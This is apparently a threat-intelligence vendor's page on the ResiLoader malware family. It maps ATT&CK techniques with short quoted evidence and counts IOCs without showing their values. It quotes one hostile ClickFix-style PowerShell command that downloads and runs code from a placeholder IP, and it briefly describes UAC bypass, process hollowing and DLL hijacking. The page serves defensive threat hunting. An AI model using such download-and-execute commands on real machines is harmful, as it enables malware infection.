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Mallory
Malware

ResiLoader

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For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

MITRE ATT&CK

Techniques & procedures

16 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

4 techniques
T1059.001PowerShellEvidence1

The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”

T1059.007JavaScriptEvidence1

If task.e is present, it executes eval(task.e) ; it allows the attacker to execute arbitrary JavaScript code.

T1204User ExecutionEvidence1

ClickFix attacks, which trick people into running malicious commands themselves, continue to evolve. This latest campaign uses fake Google and Cloudflare verification pages to convince victims to infect their own devices.

T1574.001DLLEvidence1

For many of the cases analyzed, the final payload was distributed via DLL Hijacking, as we will also see later for StealC stealer.

Persistence

2 techniques
T1547Boot or Logon Autostart ExecutionEvidence1

Obtaining persistence using app.setLoginItemSettings .

T1547.001Registry Run Keys / Startup FolderEvidence1

Create a folder C:\ProgramData\Google Update , copying itself; adding persistence using the RUN Registry Key

Privilege Escalation

7 techniques
T1055Process InjectionEvidence1

In the end, the loader performs process hollowing of the process ServiceModelReg.exe to run the StealC stealer.

T1055.012Process HollowingEvidence1

In the end, the loader performs process hollowing of the process ServiceModelReg.exe to run the StealC stealer.

T1068Exploitation for Privilege EscalationEvidence1

The msys-crypto-3.dll is an obfuscated .NET NativeAOT loader that implements AV/EDR evasion using a BYOD technique

T1547Boot or Logon Autostart ExecutionEvidence1

Obtaining persistence using app.setLoginItemSettings .

T1547.001Registry Run Keys / Startup FolderEvidence1

Create a folder C:\ProgramData\Google Update , copying itself; adding persistence using the RUN Registry Key

T1548Abuse Elevation Control MechanismEvidence1

Perform UAC bypass via ICMLuaUtil Elevated COM Interface.

T1548.002Bypass User Account ControlEvidence1

Perform UAC bypass via ICMLuaUtil Elevated COM Interface.

Stealth

6 techniques
T1027Obfuscated Files or InformationEvidence1

In this case, the HTML page is obfuscated by declaring several variables and XORing them.

T1036MasqueradingEvidence1

In one infection chain, a trojanized version of the legitimate Franz messaging app downloads a previously undocumented loader dubbed ResiLoader

T1055Process InjectionEvidence1

In the end, the loader performs process hollowing of the process ServiceModelReg.exe to run the StealC stealer.

T1055.012Process HollowingEvidence1

In the end, the loader performs process hollowing of the process ServiceModelReg.exe to run the StealC stealer.

T1218System Binary Proxy ExecutionEvidence1

In our case we received a ZIP that performs the DLL hijacking of ssh-add.exe

T1574.001DLLEvidence1

For many of the cases analyzed, the final payload was distributed via DLL Hijacking, as we will also see later for StealC stealer.

Command and Control

1 technique
T1105Ingress Tool TransferEvidence1

Create the folder C:\ProgramData\Zooms . Download the next stage from a CloudFlare bucket and save it in C:\ProgramData\Zooms . In some variants of the script, the next stage is downloaded directly from an IP.

Other

1 technique
T1562Impair DefensesEvidence1

ResiLoader, which disables security software before deploying the StealC infostealer.

INDICATORS OF COMPROMISE

IOCs tracked for this family

24 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
20 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
2 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
2 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
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What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching24

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping16

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.